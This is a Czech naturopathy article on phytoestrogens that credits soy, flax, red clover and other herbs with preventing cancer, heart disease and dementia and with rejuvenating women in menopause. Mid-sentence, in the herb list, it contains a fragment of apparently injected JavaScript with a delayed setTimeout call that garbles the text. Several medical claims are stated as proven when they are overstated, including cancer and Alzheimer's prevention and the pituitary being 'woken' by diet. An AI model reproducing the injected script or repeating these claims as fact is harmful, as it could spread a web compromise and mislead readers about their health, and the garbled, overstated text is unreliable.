Alternativní medicína,  Meduňka,  Péče o tělo,  Zdraví

Prevence rakoviny i omlazení: Fytoestrogeny- léty prověřená terapie budoucnosti?

Milé čtenářky, vážení čtenáři, pojem FYTOESTROGENY jste už určitě slyšeli, ale možná nemáte přesnou představu o jeho významu. Srozumitelně nám ho v následujícím článku, připraveném před časem přímo pro Meduňku, vysvětluje naturopatka Eva Placáková. Fytoestrogeny jsou totiž jednou z velmi zkoumaných a diskutovaných oblastí výživy, jedná se o zajímavou skupinu látek s obrovským potenciálem regulovat lidské zdraví

Působení rostlinných estrogenů je dáno širokým spektrem ochranných účinků, které ženské pohlavní hormony mají na lidské tělo. Lidé si je většinou pojí pouze s některými doplňky stravy pro ženy v klimakteriu. Méně je známo, že fytoestrogeny, můžeme předcházet srdečně-cévním a některým onkologickým chorobám, posilovat hustotu kostí, zlepšovat imunitu i mozek, či za určitých okolností ovlivňovat vlastní tělesnou konstituci, a to u obou pohlaví.

Co jsou vlastně fytoestrogeny?
Fytoestrogeny jsou poměrně rozsáhlou skupinou látek rostlinného původu, jejichž struktura i velikost molekuly jsou velmi podobné ženským pohlavím hormonům estrogenům, a tak mohou různými mechanizmy působit podobně, nebo naopak jejich působení v určitých tkáních blokovat.
V přírodě slouží jako ochrana před býložravci a škůdci a pomáhají jim přežít v extrémních podmínkách. Nejvíce jich najdeme především v sójových bobech a lněném semínku, ale dnes je známo přes 300 rostlin s obsahem fytoestrogenů. Biologicky spadají nejčastěji do čtyř základních skupin: isoflavonů (především sója), lignanů (lněné semínko, lesní plody, čajovníkové listy), kumestanů (sója mungo a červený jetel) a stilbenů (zejména resveratrol v hroznovém víně). Z bylin najdeme nejvíce fytoestrogenů v červeném jeteli, vojtěšce, ploštičníku, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andělice čínské, drmku, chmelu a lékořici. Jsou to také tyto byliny, ze kterých se vyrábí většina dostupných doplňků stravy s fytoestrogeny na našem trhu.

Prevence rakoviny
I když se fytoestrogeny odbourávají rychleji než tělu vlastní estrogeny, jakmile jednou proniknou na své místo a obsadí estrogenový receptor na buňce, velmi pomalu ho opět opouštějí. Tím zabraňují estrogenům v jejich nadměrné stimulaci, například v rozmnožování buněk prsní tkáně a vzniku rakoviny prsu. Fytoestrogeny jsou silně spojovány s prevencí onkologických onemocnění, závislých na hormonech. Prokázaný účinek mají v prevenci rakoviny prsu, vaječníků a děložního čípku u žen. Epidemiologické studie ale potvrdily i ochranný vliv isoflavonů ze sóji na rozvoj rakoviny prostaty u mužů.
I když jsou fytoestrogeny důležitou prevencí některých rakovin, v případě jejich léčby zůstávají prozatím předmětem dohadů odborné veřejnosti. Přestože tyto látky působí velmi selektivně, neexistuje prozatím jasný důkaz o jejich neškodnosti. Proto se tyto látky nedoporučují ženám s již diagnostikovaným nádorovým onemocněním, u kterých by mohlo potencionálně dojít k růstu již vzniklého karcinomu. Pokud jsou ženy léčeny tamoxifenem (lék na rakovinu prsu pracující na principu pozměnění funkce estrogenových receptorů), může dojít ke snížení jeho účinku, taktéž vlivem fytoestrogenů. Zde se ale bavíme především o extraktech, nikoli o běžné stravě.

Omlazení v menopauze
Účinky fytoestrogenů při léčbě menopauzálních obtíží u žen, jako alternativa hormonální substituční léčby, patří mezi asi ty nejvíce známé a využívané. Je to právě toto, nepříliš oblíbené období života ženy, kdy se mohou naplno a relativně rychle projevit. Klimakterické potíže zaznamená asi 18% Asiatek, které konzumují denně především fermentované výrobky ze sóji, oproti tomu Evropanky a Američanky zaznamenávají výskyt těchto projevů téměř čtyřikrát častěji. Mezi nejvíce zmiňované potíže patří zejména návaly horka, přibývání na váze, depresivní nálady, vysychání pokožky či nespavost. Zajímavé je, že ve studii Japonek, které se přestěhovaly do západních zemí a přejaly tamější stravovací zvyklosti, se četnost následných klimakterických potíží nijak statisticky nelišila od západní populace. Byla tedy vyloučena geneticky daná souvislost. Je to právě specifičnost tamní stravy, bohaté na přirozené fytoestrogeny, která má rozhodující vliv. Z bylin se v klinických studiích nejlépe ovlivnily návaly horka a noční pocení extraktem z ploštičníku hroznatého a červeného jetele, zatímco flavonoidy z třezalky zlepšovaly depresivní stavy.
Sójové isoflavony působí u menopauzálních žen i na zlepšování kognitivních funkcí. Dle současných poznatků zvyšují prokrvení mozku a ochraňují nervové buňky a dokonce pomáhají předcházet Parkinsonově a Alzheimerově chorobě. Napomáhají odbourávání patologických usazenin v mozku a zabraňují tak zánětlivým procesům.
Po čtyřicítce, když se produkce estrogenu pomalu snižuje, zesiluje vliv druhého ženského pohlavního hormonu progesteronu. Zároveň se začíná projevovat účinek s věkem klesající hladiny růstového hormonu somatotropinu, který řídí odbourávání tuku a výstavbu aktivní svalové hmoty. V 50 letech představuje jeho pokles už 45%. Klesající hladina estrogenů navíc umocňuje přirozený pokles tvorby růstového hormonu. Výsledkem všech těchto vlivů, i s věkem souvisejících změn, jsou zvětšující se tukové zásoby. Proto mnoho žen, ale i mužů, v tomto období zaznamená nepříjemné přibývání na váze, aniž by nějak změnili dosavadní stravu či pohyb. I zde lze ale využít efektu fytoestrogenů. Na rozdíl od vaječníků, jejichž aktivita vyhasíná, lze vhodně zvoleným jídelníčkem skrz regulaci estrogenů „probudit“ mozkovou hypofýzu, produkující růstový hormon a zároveň potlačit negativní účinek progesteronu na ženské křivky. Pro maximální efekt fytoestrogenů, jezte potraviny a užívejte byliny, především odpoledne a večer. Vylučování růstového hormonu je totiž nejintenzivnější v noci v době regenerace a odpočinku.

Hormony pro mladé srdce
Pozitivní účinek fytoestrogenů na snížení výskytu kardiovaskulárních onemocnění byl prokázán u obou pohlaví. Jsou to ale ženy, které těží z ochranného účinku estrogenů více – do 45 let onemocní na nemoci srdce a cév ženy podstatně méně, než muži. To se děje zčásti prostřednictvím ochranného antioxidačního působení, kde fytoestrogeny likvidují nebezpečné volné radikály. Ty jsou hlavní příčinou poškození vnitřní vrstvy cév a následným vznikem aterosklerózy se všemi komplikacemi. V Evropě se antioxidačním a protizánětlivým účinkem proslavil zejména resveratrol z červeného vína díky tzv. „francouzskému paradoxu“. Jde o velmi nízký výskyt srdečně-cévních onemocnění v některých částech Francie s vysokou konzumací nasycených tuků a současným pitím červeného vína. Později se zjistilo, že za tím vězí právě tato skvělá molekula z hroznového vína, kterou najdeme ale v menší míře i v borůvkách, brusinkách či ostružinách. Mnohé fytoestrogenní látky snižují také škodlivý LDL cholesterol, aktivizují procesy, při nichž se tělo zbavuje jedovatých látek a rozšiřují cévy. Tím snižují zatěžující krevní tlak na jejich stěny a zlepšují zásobení tkání životadárným kyslíkem. Výhodné je, že strava, u níž vědomě dbáme na výskyt hormonů, obsahuje zároveň mnoho dalších aktivních látek, jako jsou vitamíny A, C, E a vlákninu, které působí synergicky a celkový efekt na srdce zesilují. Strava obsahující především sóju, luštěniny, ovoce a zeleninu, celozrnné obilniny, za studena lisované oleje, různé ořechy a aromatické bylinky, se může pochlubit nejen omlazením cév, ale i pokožky, vlasů, nehtů, svalů a předchází mnohým degenerativním procesům v těle. Jedná se tedy o dokonalý antiaging…

/dokončení/